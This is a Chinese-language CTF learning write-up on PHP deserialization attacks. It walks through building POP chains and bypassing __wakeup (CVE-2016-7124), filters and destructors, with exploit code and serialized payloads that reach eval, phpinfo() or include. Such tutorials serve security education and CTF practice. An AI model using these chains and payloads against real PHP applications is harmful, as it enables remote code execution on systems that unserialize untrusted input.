写在前面

构造 pop 链,归根结底就是一条绳子,从你开始的函数穿到危险函数(或者指向 flag),所以你要做的第一件事,就是确认你的开始和结尾。

部分魔术方法触发方法

__wakeup() 使用 unserialize()时优先触发
__sleep() 使用 serialize()时优先触发
__construct() 创建对象时自动触发
__destruct() 对象被销毁时自动触发
__get() 用于从不可访问的属性读取数据 $this->known->unknown;
__call() 在对象上下文中调用不可访问的方法时触发 $this->known->unknown();
__callStatic() 在静态上下文中调用不可访问的方法时触发 static $known;$this->known->unknown();
__set() 用于将数据写入不可访问的属性 $this->known->unknown='set';
__toString() 把变量当作字符串使用时触发 echo $this->known; die($this->known);
__invoke() 当尝试以调用函数的方式调用一个对象时触发 $this->known();
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发

不含绕过的链子构造

__wakeup(), __construct(), __destruct() 都可以看做开头,优先级从左到右。你要做的,就是引导这个绳子头,直至穿到危险函数。

我们来看一道例题,这是我在学习构造 pop 链时做出的第一道题,出自 Geek Challenge 2024 unsign

php
 <?php
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();#$this->known(); invoke
}
}

class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;#$this->known->unknown; get
}

}

class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);#危险函数
}
}
?>

我们注意到 class web 下存在一种很危险的格式
$eva1($this->interesting); 也就是在 $eva1="eval"时,就能用 eval()了,所以它作为尾。
链子总结如下

syc#cuit__destruct()->lover#yxx__invoke()->web#yxx__get()->eval()

关键 exp

php
$syc=new syc;
$lover=new lover;
$web=new web;
$url=$syc;
$url->cuit=$lover;
$lover->yxx=$web;
echo serialize($url);//syc#cuit__destruct()->lover#yxx__invoke()->web#yxx__get()->eval()

需要绕过的链子构造

private 和 protected 属性的变量

PHP7.1 后对 private 和 protect 已不敏感,但之前的版本赋值时一定要注意
输出 serialize 时一定要经过编码,基本是 url 编码,如果题目要求 base64 编码就不用先 url 编码了
当你要对 private 和 protected 里的数赋值时,使用__construct()赋值

php
class web
{
public a='aaa';
private b;
protected c;
public function __construct()
{
$this->b='bbb';
$this->c='ccc';
}
}

强调下 construct 的赋值方式,不能直接写$b, 要写$this->b, 且 function 前加 public。

str_replace 替换字符导致的字符串逃逸

比如替换函数为 str_replace(‘hacker’, ‘SDPCSEC’, $parm); 因为替换后被替换的字符串前的数字不变,所以每替换一次可以多出一个可供构造的字符。
举例:比如我想构造 ";}
构造的字符串为:

O:3:"CTF":4:{s:4:"name":s:21:"hackerhackerhacker";}";}

经过替换后:

O:3:"CTF":4:{s:4:"name":s:21:"SDPCSECSDPCSECSDPCSEC";}";}

替换后被替换的字符串前的数字匹配成功,导致字符串可被构造逃逸、
一个参考的构造程序,$a 开头要加"用于闭合。结尾要有; }用于结束反序列化。

替换后字符变多

php
<?php
$a='";s:1:"B";s:12:"[phpinfo();]";s:1:"C";N;}';
for($i=0;$i<strlen($a);$i++)
{
echo "SDPCSEC";
}
echo $a;
echo "\n";
echo strlen($a);

替换后字符变少

(待更新)

wakeup 绕过

增加属性对象绕过(CVE-2016-7124)

PHP5 < 5.6.25 和 PHP7 < 7.0.10

我们增加 :{ 前的数字,这会绕过 wakeup 检测。

O:7:"Secrect":2:{s:13:"%00Secrect%00demo";s:15:"unseria1i2e.php";s:4:"file";s:8:"f14g.php";}

绕过为

O:7:"Secrect":3:{s:13:"%00Secrect%00demo";s:15:"unseria1i2e.php";s:4:"file";s:8:"f14g.php";}

C 开头绕过

ArrayObject 内置类可以构造以 C 开头的反序列化 https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#

php
//$a为进入的入口
$aa=new ArrayObject($a);
echo serialize($a)."\n";
echo serialize($aa)."\n";
# O:3:...
# C:11:"ArrayObject":...

这里注意 ArrayObject 构造 C 开头的序列化只在 PHP/7.3 之前的版本中存在。
又已知__unserialize()在 php7.4 才可用,但其实 C 开头在全版本都可用,所以 payload 在 7.3 版本跑不用担心过不去,把__unserialize()替换成__wakeup()一样可行。

正则匹配绕过

假设有这样一个序列化字符串:

O:4:"Test":1:{s:8:"username";s:5:"admin";}

假设此时的匹配为(preg_match(‘/username/’, $data)); 这时你可以把 username 前的 s 大写,并将你要绕过的内容或一部分转为 16 进制,如

O:4:"Test":1:{S:8:"\75sername";s:5:"admin";}

注:测试时发现 C 开头无法用大写 S 进行十六进制的绕过,O 开头和 a 开头没这个问题

如果此时的匹配为(preg_match(‘/O:[%d]’, $data)); 你可以这么写

O:+4:"Test":1:{s:8:"username";s:5:"admin";}

再不行就用 a 开头或 C 开头绕过,版本用 7.3 及以下。

a 开头:

$b=array($a);
echo serialize($b);

throw new Exception()绕过: GC 回收

throw new Error()或 throw new Exception()都属于非正常退出的情况,所以不会调用__destruct() 方法
具体绕过的参考文献
https://blog.csdn.net/Jayjay___/article/details/132463913
https://blog.csdn.net/Jayjay___/article/details/130647484

fast-destruct

正常 payload

a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";}

删除末尾花括号

a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";

改数字:把最后 i 后的数字减少 1

a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";}

php issue#9618

版本条件:

  • 7.4.x - 7.4.30
  • 8.0.x

属性值的长度不匹配

//正常 payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"1";}
//外部类属性值长度异常 payload:
//先外类__destruct()后内类__wakeup()
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:2:"1";}
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:4:"Aend";s:1:"12";}

去掉内部类的分号

注:

这样内部类直接回收,外部类没事,可以直接不执行内部类的wakeup。
外部类去掉分号同理。
如果内部外部类的花括号紧贴,也可以在两个花括号中间加分号,可绕过内部类wakeup。

//正常 payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N**;**}s:3:"end";s:1:"1";}
//去掉了内部类的分号的 payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N}s:3:"end";s:2:"1";}

利用 null 回收


假设要序列化的类为$a:

php
<?php
$n=null;
$payload=array($a,$n);
$jay17=serialize($payload);
/*
a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:" third string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;N;}
*/
把最后的 i:1换成i:0,提前销毁
最终的链子为
a:2:{i:0;O:3:"one":2:{s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:6:"object";O:5:"third":1:{s:13:" third string";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:6:"object";N;s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:1;s:6:"MeMeMe";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}}s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}}i:0;N;}

取地址绕过 wakeup 赋值

这里举个例子:

php
<?php
class A
{
public $a, $b, $t;
public function __wakeup()
{
$this->a = "new B()";
}
public function __destruct()
{
$this->b = $this->t;
var_dump($this->a);
die($this->a);
}
}
class B
{
public function __toString()
{
echo "flag{test}";
}
}

求怎么拿到 flag。这里直接构造A>a=A->a=B; 是不行的,因为 wakeup 会把 a 改为字符串。
注意到$this->b = $this->t;如果赋值 a 为 b 的地址,那么当 b 赋值时会同样会为 a 赋值。
exp

php
$A = new A;
$B = new B;
$A->a = &$A->b; //与 $A->b = &$A->a; 同义
$A->t = $B;
$payload = serialize($A);
echo $payload;
unserialize($payload);
// var_dump => object(B)#3 (0) {}

同样这个小技巧也适用于 destruct 的初始赋值

两变量哈希相等

引用绕过

b 取 a 的地址

php
<?php

class test {
public $a;
public $b;

public function __destruct(){
$this->a = uniqid();
if ($this->a === $this->b) {
echo 'Success';
}
}
}
unserialize($_GET['data']);

poc

php
$test=new test();
$test->b=&$test->a;
echo urlencode(serialize($test));

内置类绕过

Error(仅能用于 PHP7)

php
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode("%d0%99%93%9e%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER;
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));
?>//注意两个Error一定要同行
//str开头要用?>闭合

Exception(PHP5, PHP7 可用)

php
<?php
class CDUTSEC
{
public $var1;
public $var2;
}

$cmd="phpinfo();?>";
$a = new Exception($cmd);
$b = new Exception($cmd,1);

$tr = new CDUTSEC;
$tr->var1=$a;
$tr->var2=$b;

echo urlencode(serialize($tr));

绕过反复调用

多实例化一个对象
举个例子:

php
<?php
class A
{
public $a, $c;
public function __destruct()
{
echo $this->a;
}
public function __get($var)
{
$f = $this->c;
return $f();
}
}
class B
{
public $b;
public function __tostring()
{
return $this->b->lll;
}
public function __invoke()
{
echo "flag{test}";
return;
}
}

exp 如下:

php
<?php
class A
{
public $a, $c;
}
class B
{
public $b;
}
$A1 = new A;
$A2 = new A;
$B1 = new B;
$B2 = new B;
$A1->a = $B1;
$B1->b = $A2;
$A2->c = $B2;
$p=serialize($A1);
echo $p;

或者:

php
<?php
class A
{
public $a, $c;
public function __construct($a, $b)
{
$this->a = $a;
$this->c = $b;
}
}
class B
{
public $b;
public function __construct($a)
{
$this->b = $a;
}
}
echo serialize(new A(new B(new A(null, new B(null))), null));

结尾

参考文献
https://5ime.cn/unserialize.html